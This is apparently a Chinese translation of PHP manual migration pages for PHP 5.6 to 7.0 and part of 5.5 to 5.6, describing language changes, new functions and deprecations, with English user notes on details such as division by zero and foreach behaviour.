在函数中检视参数值会返回 当前 的值

当在函数代码中使用 func_get_arg() 或
func_get_args() 函数来检视参数值，
或者使用 debug_backtrace() 函数查看回溯跟踪，
以及在异常回溯中所报告的参数值是指参数当前的值（有可能是已经被函数内的代码改变过的值），
而不再是参数被传入函数时候的原始值了。

<?php
function foo($x) {
    $x++;
    var_dump(func_get_arg(0));
}
foo(1);?>

Output of the above example in PHP 5:

1

Output of the above example in PHP 7:

2

$HTTP_RAW_POST_DATA 被移除

不再提供 $HTTP_RAW_POST_DATA 变量。 请使用 php://input 作为替代。

INI 文件中 # 注释格式被移除

在 INI 文件中，不再支持以 # 开始的注释行， 请使用 ;（分号）来表示注释。 此变更适用于 php.ini 以及用 parse_ini_file() 和 parse_ini_string() 函数来处理的文件。

JSON 扩展已经被 JSOND 取代

JSON 扩展已经被 JSOND 扩展取代。 对于数值的处理，有以下两点需要注意的： 第一，数值不能以点号（.）结束 （例如，数值 34. 必须写作 34.0 或 34）。 第二，如果使用科学计数法表示数值，e 前面必须不是点号（.） （例如，3.e3 必须写作 3.0e3 或 3e3）。 另外，空字符串不再被视作有效的 JSON 字符串。

在数值溢出的时候，内部函数将会失败

将浮点数转换为整数的时候，如果浮点数值太大，导致无法以整数表达的情况下， 在之前的版本中，内部函数会直接将整数截断，并不会引发错误。 在 PHP 7.0 中，如果发生这种情况，会引发 E_WARNING 错误，并且返回 NULL。

自定义会话处理器的返回值修复

在自定义会话处理器中，如果函数的返回值不是 FALSE，也不是 -1， 会引发致命错误。现在，如果这些函数的返回值不是布尔值，也不是 -1 或者 0，函数调用结果将被视为失败，并且引发 E_WARNING 错误。

相等的元素在排序时的顺序问题

由于内部排序算法进行了提升， 可能会导致对比时被视为相等的多个元素之间的顺序不稳定。

Note:

在对比时被视为相等的多个元素之间的排序顺序是不可信赖的，即使是相等的两个元素， 他们的位置也可能被排序算法所改变。

错误的使用 break 和 switch 语句

在循环或者 switch 语句之外使用 break 和 continue 被视为编译型错误（之前视为运行时错误），会引发 E_COMPILE_ERROR 错误。

Mhash 不再是一个单独的扩展了

Mhash 扩展已经被完全整合进 Hash 扩展了。
因此，不要再使用 extension_loaded() 函数来检测是否支持 MHash 扩展了，
建议使用 function_exists() 函数来进行检测。
另外，函数 get_loaded_extensions() 以及相关的特性中，也不再报告
和 MHash 扩展相关的信息了。

declare(ticks)

declare(ticks) 指示符不再泄漏到不同的编译单元中。

User Contributed Notes

ilya dot chase at yandex dot ru 30-Apr-2019 09:22
Take note that in preg_replace() function, flag '\e' was deleted in PHP 7.0.0. This function will return null always with this flag. Doc: https://www.php.net/manual/ru/function.preg-replace.php
tkondrashov at gmail dot com 02-Oct-2018 04:34
split() was also removed in 7.0, so be sure to check your old code for it as well as the functions listed in this doc
Ray.Paseur sometimes uses Gmail 23-Mar-2017 03:51
In the section captioned "Changes to the handling of indirect variables, properties, and methods" there are parentheses used in the table directly beneath "PHP 7 interpretation."

The parentheses are intended to show the evaluation order, but they are not part of the syntax, and should not be used in the variable definition or reference.  This juxtaposition confused one of my colleagues; hopefully this note will save someone else some time.

Examples of the correct curly-brace syntax is further down the page, in the section captioned "global only accepts simple variables."
viktor dot csiky at nospam dot nospam dot eu 21-Jul-2016 11:16
It is stated:

"foreach by-value operates on a copy of the array

When used in the default by-value mode, foreach will now operate on a copy of the array being iterated rather than the array itself. This means that changes to the array made during iteration will not affect the values that are iterated."

Please note that this is not exactly true. New foreach operates on a copy of the array, by-value or by-reference. It seems that in the latter case, the array copy is simply moved over (to) the original array before it is presumably destroyed.

As a consequence of this, you may not "dereference" an array containing values - e.g. for use with ReflectionMethod::invokeArgs() or the good ole' call_user_func().
Consider the snippet below:

<?php
function deref(Array $inputArray)
{
        $retVal = [];

        foreach ($inputArray as &$inputValue)
        {
            $retVal[] = $inputValue;
        }

        return $retVal;
}
?>

As of PHP 7.0, this *will no longer work*. You will get the usual suspect:

PHP Warning:  Parameter n to whatever() expected to be a reference, value given in baz.php on line x

You need to convert it to explicitly reference the original array:
<?php
function deref(Array $inputArray)
{
        $retVal = [];

        foreach ($inputArray as $inputKey => $inputValue)
        {
            $retVal[$inputKey] = &$inputArray[$inputKey];
        }

        return $retVal;
}
?>

PLEASE NOTE that this might have the unforeseen consequence of your code not working anymore in php versions less than 5.3 (that is, 5.2 and below).
maba at mb-systemhaus dot net 12-May-2016 09:52
NOTE:
the new variable handling in PHP 7 also has side effects on the COM .NET extension. Numeric variants (in the Windows application space) now must be quoted when passed over from PHP. This is the case when the receiving application expects a variable of type variant.

Here is an example:

<?php
  $word = new COM('Word.Application');

  // now load a document, ...

  // the following works in PHP 5 but will throw an exception in PHP 7
  $word->ActiveDocument->PrintOut(false, false, 0, $outfile);

  // the following works in PHP 7 as well, please note the quotes around the '0'
  $word->ActiveDocument->PrintOut(false, false, '0', $outfile);
?>
Frank 11-Apr-2016 03:40
[Editor's Note: that change is listed in the "Changed functions" section.]

The substr function has also been changed in a backward incompatible way.

<?php
substr("test",4);  # false in PHP 5,  "" in PHP 7
?>

In fact, this is the only thing we had to change in a number of places for our code base to run on PHP 7. It's definitely an improvement though, as the old behavior tended to cause bugs in border cases.
mossy2100 19-Dec-2015 05:29
Although $x/0 is technically not infinity in a purely mathematical sense, when you understand why the IEEE float includes a value for infinity, and returns infinity in this case, it makes sense that PHP would agree with this.

The reason is that programmers don't usually divide by 0 on purpose. A value of 0 as a divisor usually occurs due to underflow, i.e. a value which is too small to be represented as a float. So, for example, if you have values like:
$x = 1;
$y = 1e-15 * 1e-15;
$z = $x/$y;
Because $y will have underflowed to 0, the division operation will throw the division by zero warning, and $z will be set to INF. In a better computer, however, $y would not have the value 0 (it would be 1e-30) and $z would not have the value INF (it would be 1e30).

In other words, 0 is not only representative of an actual 0, but also a very small number which float cannot represent correctly (underflow), and INF does not only represent infinity, but also a very big number which float cannot represent correctly (overflow). We do the best we can within the limitations of floating point values, which are really just good approximations of the actual numbers being represented.

What does bother me is that division by zero is handled in two different ways depending on the operator. I would have preferred the new DivisionByZeroError exception to be thrown in all cases, for consistency and to enforce good programming practices.
tuxedobob 11-Dec-2015 09:23
As a programmer, I don't care whether 3/0 is INF or NaN. Both answers are (probably) equally useless, and tell me that something somewhere else is screwed up.
opitz dot alexander at googlemail dot com 04-Dec-2015 04:14
About the division by zero, please see discussion to IEEEE 754
For example: http://stackoverflow.com/questions/14682005/why-does-division-by-zero-in-ieee754-standard-results-in-infinite-value
me at fquff dot io 04-Dec-2015 06:45
[Editor's note: fixed limit on user request]

As a mathematician, 3/0 == +INF IS JUST WRONG. You can't just assume 3/0 == lim_{x->0+} 3/x, which is +INF indeed, because division IS NOT A CONTINUOUS FUNCTION in x == 0.

Also, 3/0 == +INF ("positive" infinity) while -3/0 == -INF ("negative" infinity) requires the assumption that 0 is a positive number, which is just as illogical as it looks like.

The fact that a warning is emitted is good, but it should definitely equals to NaN. ±INF is just illogical (and arithmetically wrong).

Except for this "detail", looks an amazing update, can't wait to test it even further!

Cheers,
P.


新特性

标量类型声明

标量类型声明 有两种模式: 强制 (默认) 和 严格模式。 现在可以使用下列类型参数（无论用强制模式还是严格模式）： 字符串(string), 整数 (int), 浮点数 (float), 以及布尔值 (bool)。它们扩充了PHP5中引入的其他类型：类名，接口，数组和 回调类型。

<?php
// Coercive mode
function sumOfInts(int ...$ints)
{
    return array_sum($ints);
}

var_dump(sumOfInts(2, '3', 4.1));

以上例程会输出：

int(9)

要使用严格模式，一个 declare 声明指令必须放在文件的顶部。这意味着严格声明标量是基于文件可配的。 这个指令不仅影响参数的类型声明，也影响到函数的返回值声明（参见 返回值类型声明, 内置的PHP函数以及扩展中加载的PHP函数）

完整的标量类型声明文档和示例参见类型声明章节。

返回值类型声明

PHP 7 增加了对返回类型声明的支持。 类似于参数类型声明，返回类型声明指明了函数返回值的类型。可用的类型与参数声明中可用的类型相同。

<?php

function arraysSum(array ...$arrays): array
{
    return array_map(function(array $array): int {
        return array_sum($array);
    }, $arrays);
}

print_r(arraysSum([1,2,3], [4,5,6], [7,8,9]));

以上例程会输出：

Array
(
    [0] => 6
    [1] => 15
    [2] => 24
)

完整的标量类型声明文档和示例可参见 返回值类型声明.

null合并运算符

由于日常使用中存在大量同时使用三元表达式和 isset()的情况， 我们添加了null合并运算符 (??) 这个语法糖。如果变量存在且值不为NULL， 它就会返回自身的值，否则返回它的第二个操作数。

<?php
// Fetches the value of $_GET['user'] and returns 'nobody'
// if it does not exist.
$username = $_GET['user'] ?? 'nobody';
// This is equivalent to:
$username = isset($_GET['user']) ? $_GET['user'] : 'nobody';

// Coalesces can be chained: this will return the first
// defined value out of $_GET['user'], $_POST['user'], and
// 'nobody'.
$username = $_GET['user'] ?? $_POST['user'] ?? 'nobody';
?>

太空船操作符（组合比较符）

太空船操作符用于比较两个表达式。当$a小于、等于或大于$b时它分别返回-1、0或1。 比较的原则是沿用 PHP 的常规比较规则进行的。

<?php
// 整数
echo 1 <=> 1; // 0
echo 1 <=> 2; // -1
echo 2 <=> 1; // 1

// 浮点数
echo 1.5 <=> 1.5; // 0
echo 1.5 <=> 2.5; // -1
echo 2.5 <=> 1.5; // 1

// 字符串
echo "a" <=> "a"; // 0
echo "a" <=> "b"; // -1
echo "b" <=> "a"; // 1
?>

通过 define() 定义常量数组

Array 类型的常量现在可以通过 define() 来定义。在 PHP5.6 中仅能通过 const 定义。

<?php
define('ANIMALS', [
    'dog',
    'cat',
    'bird'
]);

echo ANIMALS[1]; // 输出 "cat"
?>

匿名类

现在支持通过new class 来实例化一个匿名类，这可以用来替代一些"用后即焚"的完整类定义。

<?php
interface Logger {
    public function log(string $msg);
}

class Application {
    private $logger;

    public function getLogger(): Logger {
         return $this->logger;
    }

    public function setLogger(Logger $logger) {
         $this->logger = $logger;
    }
}

$app = new Application;
$app->setLogger(new class implements Logger {
    public function log(string $msg) {
        echo $msg;
    }
});

var_dump($app->getLogger());
?>

以上例程会输出：

object(class@anonymous)#2 (0) {
}

详细文档可以参考 匿名类.

Unicode codepoint 转译语法

这接受一个以16进制形式的 Unicode codepoint，并打印出一个双引号或heredoc包围的 UTF-8 编码格式的字符串。 可以接受任何有效的 codepoint，并且开头的 0 是可以省略的。

echo "\u{aa}";
echo "\u{0000aa}";
echo "\u{9999}";

以上例程会输出：

a
a (same as before but with optional leading 0's)
香

Closure::call()

Closure::call() 现在有着更好的性能，简短干练的暂时绑定一个方法到对象上闭包并调用它。

<?php
class A {private $x = 1;}

// PHP 7 之前版本的代码
$getXCB = function() {return $this->x;};
$getX = $getXCB->bindTo(new A, 'A'); // 中间层闭包
echo $getX();

// PHP 7+ 及更高版本的代码
$getX = function() {return $this->x;};
echo $getX->call(new A);

以上例程会输出：

1
1

为unserialize()提供过滤

这个特性旨在提供更安全的方式解包不可靠的数据。它通过白名单的方式来防止潜在的代码注入。

<?php

// 将所有的对象都转换为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => false]);

// 将除 MyClass 和 MyClass2 之外的所有对象都转换为 __PHP_Incomplete_Class 对象
$data = unserialize($foo, ["allowed_classes" => ["MyClass", "MyClass2"]);

// 默认情况下所有的类都是可接受的，等同于省略第二个参数
$data = unserialize($foo, ["allowed_classes" => true]);

IntlChar

新增加的 IntlChar 类旨在暴露出更多的 ICU 功能。这个类自身定义了许多静态方法用于操作多字符集的 unicode 字符。

<?php

printf('%x', IntlChar::CODEPOINT_MAX);
echo IntlChar::charName('@');
var_dump(IntlChar::ispunct('!'));

以上例程会输出：

10ffff
COMMERCIAL AT
bool(true)

若要使用此类，请先安装Intl扩展

预期

预期是向后兼用并增强之前的 assert() 的方法。 它使得在生产环境中启用断言为零成本，并且提供当断言失败时抛出特定异常的能力。

老版本的API出于兼容目的将继续被维护，assert()现在是一个语言结构，它允许第一个参数是一个表达式，而不仅仅是一个待计算的 string或一个待测试的boolean。

<?php
ini_set('assert.exception', 1);

class CustomError extends AssertionError {}

assert(false, new CustomError('Some error message'));
?>

以上例程会输出：

Fatal error: Uncaught CustomError: Some error message

关于这个特性的完整说明，包括如何在开发和生产环境中配置它，可以在assert()的 expectations section章节找到。

Group use declarations

从同一 namespace 导入的类、函数和常量现在可以通过单个 use 语句 一次性导入了。

<?php

// PHP 7 之前的代码
use some\namespace\ClassA;
use some\namespace\ClassB;
use some\namespace\ClassC as C;

use function some\namespace\fn_a;
use function some\namespace\fn_b;
use function some\namespace\fn_c;

use const some\namespace\ConstA;
use const some\namespace\ConstB;
use const some\namespace\ConstC;

// PHP 7+ 及更高版本的代码
use some\namespace\{ClassA, ClassB, ClassC as C};
use function some\namespace\{fn_a, fn_b, fn_c};
use const some\namespace\{ConstA, ConstB, ConstC};
?>

生成器可以返回表达式

此特性基于 PHP 5.5 版本中引入的生成器特性构建的。 它允许在生成器函数中通过使用 return 语法来返回一个表达式 （但是不允许返回引用值）， 可以通过调用 Generator::getReturn() 方法来获取生成器的返回值， 但是这个方法只能在生成器完成产生工作以后调用一次。

<?php

$gen = (function() {
    yield 1;
    yield 2;

    return 3;
})();

foreach ($gen as $val) {
    echo $val, PHP_EOL;
}

echo $gen->getReturn(), PHP_EOL;

以上例程会输出：

1
2
3

在生成器中能够返回最终的值是一个非常便利的特性， 因为它使得调用生成器的客户端代码可以直接得到生成器（或者其他协同计算）的返回值， 相对于之前版本中客户端代码必须先检查生成器是否产生了最终的值然后再进行响应处理 来得方便多了。

Generator delegation

现在，只需在最外层生成其中使用 yield from， 就可以把一个生成器自动委派给其他的生成器， Traversable 对象或者 array。

<?php

function gen()
{
    yield 1;
    yield 2;

    yield from gen2();
}

function gen2()
{
    yield 3;
    yield 4;
}

foreach (gen() as $val)
{
    echo $val, PHP_EOL;
}

?>

以上例程会输出：

1
2
3
4

整数除法函数 intdiv()

新加的函数 intdiv() 用来进行 整数的除法运算。

<?php

var_dump(intdiv(10, 3));
?>

以上例程会输出：

int(3)

会话选项

session_start() 可以接受一个 array 作为参数， 用来覆盖 php.ini 文件中设置的 会话配置选项。

在调用 session_start() 的时候， 传入的选项参数中也支持 session.lazy_write 行为， 默认情况下这个配置项是打开的。它的作用是控制 PHP 只有在会话中的数据发生变化的时候才 写入会话存储文件，如果会话中的数据没有发生改变，那么 PHP 会在读取完会话数据之后， 立即关闭会话存储文件，不做任何修改，可以通过设置 read_and_close 来实现。

例如，下列代码设置 session.cache_limiter 为 private，并且在读取完毕会话数据之后马上关闭会话存储文件。

<?php
session_start([
    'cache_limiter' => 'private',
    'read_and_close' => true,
]);
?>

preg_replace_callback_array()

在 PHP 7 之前，当使用 preg_replace_callback() 函数的时候， 由于针对每个正则表达式都要执行回调函数，可能导致过多的分支代码。 而使用新加的 preg_replace_callback_array() 函数， 可以使得代码更加简洁。

现在，可以使用一个关联数组来对每个正则表达式注册回调函数， 正则表达式本身作为关联数组的键， 而对应的回调函数就是关联数组的值。

CSPRNG Functions

新加入两个跨平台的函数： random_bytes() 和 random_int() 用来产生高安全级别的随机字符串和随机整数。

可以使用 list() 函数来展开实现了 ArrayAccess 接口的对象

在之前版本中，list() 函数不能保证 正确的展开实现了 ArrayAccess 接口的对象， 现在这个问题已经被修复。

其他特性

  • 允许在克隆表达式上访问对象成员，例如： (clone $foo)->bar()。

User Contributed Notes

TerryE 21-Jun-2017 09:13
$a = ''; // or 0 or false

$b = $a ?? 'a';
// $b is '' or 0 or false

$c = $a ?: 'a';
// $c is 'a'
PawelD 19-Jul-2016 09:23
<?php
class foo { static $bar = 'baz'; }
var_dump('foo'::$bar);
?>

if < php7.0

then we will receive a syntax error, unexpected '::' (T_PAAMAYIM_NEKUDOTAYIM)

but php7 returns string(3) "baz"

I think it's not documented anywhere


PHP 7.0.x 弃用的功能

PHP4 风格的构造函数

PHP4 风格的构造函数（方法名和类名一样）将被弃用，并在将来移除。 如果在类中仅使用了 PHP4 风格的构造函数，PHP7 会产生 E_DEPRECATED 警告。 如果还定义了 __construct() 方法则不受影响。

<?php
class foo {
    function foo() {
        echo 'I am the constructor';
    }
}
?>

以上例程会输出：

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; foo has a deprecated constructor in example.php on line 3

静态调用非静态的方法

废弃了 静态（Static） 调用未声明成 static 的方法，未来可能会彻底移除该功能。

<?php
class foo {
    function bar() {
        echo 'I am not static!';
    }
}

foo::bar();
?>

以上例程会输出：

Deprecated: Non-static method foo::bar() should not be called statically in - on line 8
I am not static!

password_hash() 盐值选项

废弃了 password_hash() 函数中的盐值选项，阻止开发者生成自己的盐值（通常更不安全）。 开发者不传该值时，该函数自己会生成密码学安全的盐值。因此再无必要传入自己自定义的盐值。

capture_session_meta SSL 上下文选项

废弃了 capture_session_meta 内的 SSL 上下文选项。 现在可以通过 stream_get_meta_data() 获取 SSL 元数据（metadata）。

LDAP 中的废弃

以下函数已被废弃：

  • ldap_sort()

User Contributed Notes

There are no user contributed notes for this page.


变更的函数

PHP 核心

  • debug_zval_dump() 现在打印 "int" 替代 "long", 打印 "float" 替代 "double"
  • dirname() 增加了可选的第二个参数, depth, 获取当前目录向上 depth 级父目录的名称。
  • getrusage() 现在支持 Windows.
  • mktime() and gmmktime() 函数不再接受 is_dst 参数。
  • preg_replace() 函数不再支持 "\e" (PREG_REPLACE_EVAL). 应当使用 preg_replace_callback() 替代。
  • setlocale() 函数不再接受 category 传入字符串。 应当使用 LC_* 常量。
  • exec(), system() and passthru() 函数对 NULL 增加了保护.
  • shmop_open() 现在返回一个资源而非一个int， 这个资源可以传给shmop_size(), shmop_write(), shmop_read(), shmop_close() 和 shmop_delete().
  • substr() 现在当 start 的值与 string 的长度相同时将返回一个空字符串。
  • 为了避免内存泄露，xml_set_object() 现在在执行结束时需要手动清除 $parse。

User Contributed Notes

There are no user contributed notes for this page.


新函数

Closure

  • Closure::call()

CSPRNG

  • random_bytes()
  • random_int()

错误处理和日志

  • error_clear_last()

Generator

  • Generator::getReturn()

GNU 多重精度

  • gmp_random_seed()

Math

  • intdiv()

PCRE

  • preg_replace_callback_array()

PHP 选项和信息

  • gc_mem_caches()
  • get_resources()

POSIX

  • posix_setrlimit()

Reflection

  • ReflectionParameter::getType()
  • ReflectionParameter::hasType()
  • ReflectionFunctionAbstract::getReturnType()
  • ReflectionFunctionAbstract::hasReturnType()

Zip

  • ZipArchive::setCompressionIndex()
  • ZipArchive::setCompressionName()

Zlib Compression

  • inflate_add()
  • deflate_add()
  • inflate_init()
  • deflate_init()

User Contributed Notes

There are no user contributed notes for this page.


新的类和接口

Intl

  • IntlChar

Reflection

  • ReflectionGenerator
  • ReflectionType

会话（Session）管理器

  • SessionUpdateTimestampHandlerInterface

Exception 等级

  • Throwable
  • Error
  • TypeError
  • ParseError
  • AssertionError
  • ArithmeticError
  • DivisionByZeroError

User Contributed Notes

There are no user contributed notes for this page.


新的全局常量

内核预定义常量

  • PHP_INT_MIN

GD

  • IMG_WEBP (自 PHP 7.0.10 起)

JSON

  • JSON_ERROR_INVALID_PROPERTY_NAME
  • JSON_ERROR_UTF16

LibXML

  • LIBXML_BIGLINES

PCRE

  • PREG_JIT_STACKLIMIT_ERROR

POSIX

  • POSIX_RLIMIT_AS
  • POSIX_RLIMIT_CORE
  • POSIX_RLIMIT_CPU
  • POSIX_RLIMIT_DATA
  • POSIX_RLIMIT_FSIZE
  • POSIX_RLIMIT_LOCKS
  • POSIX_RLIMIT_MEMLOCK
  • POSIX_RLIMIT_MSGQUEUE
  • POSIX_RLIMIT_NICE
  • POSIX_RLIMIT_NOFILE
  • POSIX_RLIMIT_NPROC
  • POSIX_RLIMIT_RSS
  • POSIX_RLIMIT_RTPRIO
  • POSIX_RLIMIT_RTTIME
  • POSIX_RLIMIT_SIGPENDING
  • POSIX_RLIMIT_STACK
  • POSIX_RLIMIT_INFINITY

Zlib

  • ZLIB_ENCODING_RAW
  • ZLIB_ENCODING_DEFLATE
  • ZLIB_ENCODING_GZIP
  • ZLIB_FILTERED
  • ZLIB_HUFFMAN_ONLY
  • ZLIB_FIXED
  • ZLIB_RLE
  • ZLIB_DEFAULT_STRATEGY
  • ZLIB_BLOCK
  • ZLIB_FINISH
  • ZLIB_FULL_FLUSH
  • ZLIB_NO_FLUSH
  • ZLIB_PARTIAL_FLUSH
  • ZLIB_SYNC_FLUSH

User Contributed Notes

There are no user contributed notes for this page.


SAPI 模块的变化

FPM

listen 端口现在同时监听 IPv4 和 IPv6 地址。

在 PHP 5 中，listen 指令如果仅带一个端口数字， 则会监听所有网络接口，但只是 IPv4。 现在 PHP 7 会同时接受来自 IPv4 和 IPv6 上的请求。

指定了 ip 地址后不受此影响；它们会继续仅仅监听在指定的地址和协议上。

User Contributed Notes

There are no user contributed notes for this page.


移除的扩展和 SAPI

移除的扩展

  • ereg
  • mssql
  • mysql
  • sybase_ct

移除的 SAPI

  • aolserver
  • apache
  • apache_hooks
  • apache2filter
  • caudium
  • continuity
  • isapi
  • milter
  • nsapi
  • phttpd
  • pi3web
  • roxen
  • thttpd
  • tux
  • webjames

User Contributed Notes

There are no user contributed notes for this page.


Other Changes

放宽了保留词限制

现在允许全局保留词用于类/接口/Trait 中的属性、常量和方法名。 在引入新关键词时，此变更减少了对向后兼容的破坏，避免了 API 命名的限制。

使用流畅的接口实现内部 DSL 时，这非常有用：

<?php
// 以前不能用  'new'、'private' 和 'for'
Project::new('Project Name')->private()->for('purpose here')->with('username here');
?>

唯一的限制是： class关键词不能用于常量名，否则会和 类名解析语法冲突 (ClassName::class)。

移除 date.timezone 警告

调用任意 date- 开头或者其他基于时间的函数时， 未设置 date.timezone INI 设置的情况下， 之前会产生警告。 现在移除了警告（date.timezone 默认仍然是 UTC）

User Contributed Notes

There are no user contributed notes for this page.


从PHP 5.5.x 移植到 PHP 5.6.x

Table of Contents

  • 向后不兼容
  • 新特性
  • PHP 5.6.x 中已废止的特性
  • 函数的变化
  • 新加函数
  • OpenSSL changes in PHP 5.6.x
  • 扩展中的变动
  • 新加的全局常量

PHP 5.6 中大多数的改善对旧项目没有影响。有一些 不兼容处 和 新功能 需要 注意下，并且在正式布署升级后的项目前应该测试您的代码。

参见 PHP 版本迁移指南 5.0.x、 5.1.x、 5.2.x、 5.3.x、 5.4.x 和 5.5.x。

User Contributed Notes

There are no user contributed notes for this page.


向后不兼容

虽然大部分 PHP 5 的代码无需修改即可正常运行， 但是有部分代码是无法向后兼容的：

使用数组标识符为类定义数组类型的属性时，数组的键不会被覆盖

在 PHP 5.6 之前的版本中，为类定义数组类型的属性时， 如果数组中同时使用了显式数组键和隐式数组键，并且显式的键和隐式的序列键相同， 那么数组的键将被覆盖。例如：

<?php
class C {
    const ONE = 1;
    public $array = [
        self::ONE => 'foo',
        'bar',
        'quux',
    ];
}

var_dump((new C)->array);
?>

Output of the above example in PHP 5.5:

array(2) {
  [0]=>
  string(3) "bar"
  [1]=>
  string(4) "quux"
}

Output of the above example in PHP 5.6:

array(3) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(4) "quux"
}

严格的 json_decode()

对于 JSON 字面量 true，false 和
null，如果不采用小写格式，将会被 json_decode() 函数拒绝，
同时相应的设置 json_last_error()。
在之前的版本中，json_decode() 函数可以接受这些字面量的
全部大写或者大小写混写的格式。

此变更仅会影响传入到 json_decode() 中的 JSON 格式无效的情况， 有效的 JSON 输入不会受到影响并且能够正确解析。

当使用 SSL/TLS 的时候，流封装器默认验证端点证书和主机名

All encrypted client streams now enable peer verification by default. By default, this will use OpenSSL's default CA bundle to verify the peer certificate. In most cases, no changes will need to be made to communicate with servers with valid SSL certificates, as distributors generally configure OpenSSL to use known good CA bundles.

The default CA bundle may be overridden on a global basis by setting either the openssl.cafile or openssl.capath configuration setting, or on a per request basis by using the cafile or capath context options.

While not recommended in general, it is possible to disable peer certificate verification for a request by setting the verify_peer context option to FALSE, and to disable peer name validation by setting the verify_peer_name context option to FALSE.

GMP 资源现为对象

GMP 资源现为对象。 GMP 扩展中的基于函数的 API 实现不受影响， 只有在代码中使用 is_resource() 或类似函数 来显示检测是否资源类型的代码才会受到影响。

Mcrypt 函数需要有效长度的密钥和初始向量

mcrypt_encrypt()，mcrypt_decrypt()，
mcrypt_cbc()，mcrypt_cfb()，
mcrypt_ecb()，mcrypt_generic() 以及
mcrypt_ofb() 函数不再接受无效长度的密钥和初始向量，
对于需要初始向量的分组加密模式，如果不提供初始向量，函数调用将会失败。

cURL 文件上传

必须先设置 CURLOPT_SAFE_UPLOAD 为 FALSE 才能够使用 @file 语法来上传文件。 建议使用 CURLFile 类来上传文件。

User Contributed Notes

Roger 22-Jun-2017 10:15
Another breaking change involves opening the special "php://input" stream for decompression. In PHP 5.5, the following code would allow PHP to decode a gzip'd request input stream:

<?php
// Open the input stream for requests with Content-Encoding: gzip.
$input = gzopen('php://input','r');
// This has the same effect as fopen('compress.zlib://php://input','r').

// Get the decompressed request body.
var_dump(stream_get_contents($input));
?>

However in PHP 5.6 this does not work. Instead PHP gives the following warning: gzopen(): cannot represent a stream of type Input as a File Descriptor.

It is unclear whether this is a bug or intentional, backward-incompatible change.


新特性

使用表达式定义常量

在之前的 PHP 版本中， 必须使用静态值来定义常量，声明属性以及指定函数参数默认值。 现在你可以使用包括数值、字符串字面量以及其他常量在内的数值表达式来 定义常量、声明属性以及设置函数参数默认值。

<?php
const ONE = 1;
const TWO = ONE * 2;

class C {
    const THREE = TWO + 1;
    const ONE_THIRD = ONE / self::THREE;
    const SENTENCE = 'The value of THREE is '.self::THREE;

    public function f($a = ONE + self::THREE) {
        return $a;
    }
}

echo (new C)->f()."\n";
echo C::SENTENCE;
?>

以上例程会输出：

4
The value of THREE is 3

现在可以通过 const 关键字来定义类型为 array 的常量。

<?php
const ARR = ['a', 'b'];

echo ARR[0];
?>

以上例程会输出：

a

使用 ... 运算符定义变长参数函数

现在可以不依赖 func_get_args()， 使用 ... 运算符 来实现 变长参数函数。

<?php
function f($req, $opt = null, ...$params) {
    // $params 是一个包含了剩余参数的数组
    printf('$req: %d; $opt: %d; number of params: %d'."\n",
           $req, $opt, count($params));
}

f(1);
f(1, 2);
f(1, 2, 3);
f(1, 2, 3, 4);
f(1, 2, 3, 4, 5);
?>

以上例程会输出：

$req: 1; $opt: 0; number of params: 0
$req: 1; $opt: 2; number of params: 0
$req: 1; $opt: 2; number of params: 1
$req: 1; $opt: 2; number of params: 2
$req: 1; $opt: 2; number of params: 3

使用 ... 运算符进行参数展开

在调用函数的时候，使用 ... 运算符， 将 数组 和 可遍历 对象展开为函数参数。 在其他编程语言，比如 Ruby中，这被称为连接运算符，。

<?php
function add($a, $b, $c) {
    return $a + $b + $c;
}

$operators = [2, 3];
echo add(1, ...$operators);
?>

以上例程会输出：

6

使用 ** 进行幂运算

加入右连接运算符 ** 来进行幂运算。 同时还支持简写的 **= 运算符，表示进行幂运算并赋值。

<?php
printf("2 ** 3 ==      %d\n", 2 ** 3);
printf("2 ** 3 ** 2 == %d\n", 2 ** 3 ** 2);

$a = 2;
$a **= 3;
printf("a ==           %d\n", $a);
?>

以上例程会输出：

2 ** 3 ==      8
2 ** 3 ** 2 == 512
a ==           8

use function 以及 use const

use 运算符 被进行了扩展以支持在类中导入外部的函数和常量。 对应的结构为 use function 和 use const。

<?php
namespace Name\Space {
    const FOO = 42;
    function f() { echo __FUNCTION__."\n"; }
}

namespace {
    use const Name\Space\FOO;
    use function Name\Space\f;

    echo FOO."\n";
    f();
}
?>

以上例程会输出：

42
Name\Space\f

phpdbg

PHP 的 SAPI 模块中实现了一个 交互式调试器，叫做 phpdbg。更多信息，请访问 phpdbg documentation。

默认字符编码

对于一些字符编码相关的函数，例如 htmlentities()， html_entity_decode() 以及 htmlspecialchars() 使用 default_charset 作为默认字符集。请注意，对于 iconv（现已废弃） 和 mbstring 相关的函数， 如果分别设置了他们的编码， 那么这些对应设置的优先级高于 default_charset。

default_charset 的默认值是 UTF-8。

php://input 是可重用的了

只要你需要，你可以多次打开并读取 php://input。 同时，这个特性使得在处理 POST 的数据的时候， 可以明显降低对于内存的需求量。

大文件上传

现在可以支持大于 2GB 的文件上传。

GMP 支持运算符重载

GMP 支持运算符重载， 并且造型成数值类型。 这使得使用 GMP 的代码更加直观。

<?php
$a = gmp_init(42);
$b = gmp_init(17);

if (version_compare(PHP_VERSION, '5.6', '<')) {
    echo gmp_intval(gmp_add($a, $b)), PHP_EOL;
    echo gmp_intval(gmp_add($a, 17)), PHP_EOL;
    echo gmp_intval(gmp_add(42, $b)), PHP_EOL;
} else {
    echo $a + $b, PHP_EOL;
    echo $a + 17, PHP_EOL;
    echo 42 + $b, PHP_EOL;
}
?>

以上例程会输出：

59
59
59

使用 hash_equals() 比较字符串避免时序攻击

加入 hash_equals() 函数， 以恒定的时间消耗来进行字符串比较， 以避免时序攻击。 比如当比较 crypt() 密码散列值的时候，就可以使用此函数。 （假定你不能使用 password_hash() 和 password_verify()， 这两个函数也可以抵抗时序攻击）

<?php
$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$correct   = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('1234',  '$2a$07$usesomesillystringforsalt$');

var_dump(hash_equals($expected, $correct));
var_dump(hash_equals($expected, $incorrect));
?>

以上例程会输出：

bool(true)
bool(false)

__debugInfo()

加入 __debugInfo()， 当使用 var_dump() 输出对象的时候， 可以用来控制要输出的属性和值。

<?php
class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return [
            'propSquared' => $this->prop ** 2,
        ];
    }
}

var_dump(new C(42));
?>

以上例程会输出：

object(C)#1 (1) {
  ["propSquared"]=>
  int(1764)
}

gost-crypto 散列算法

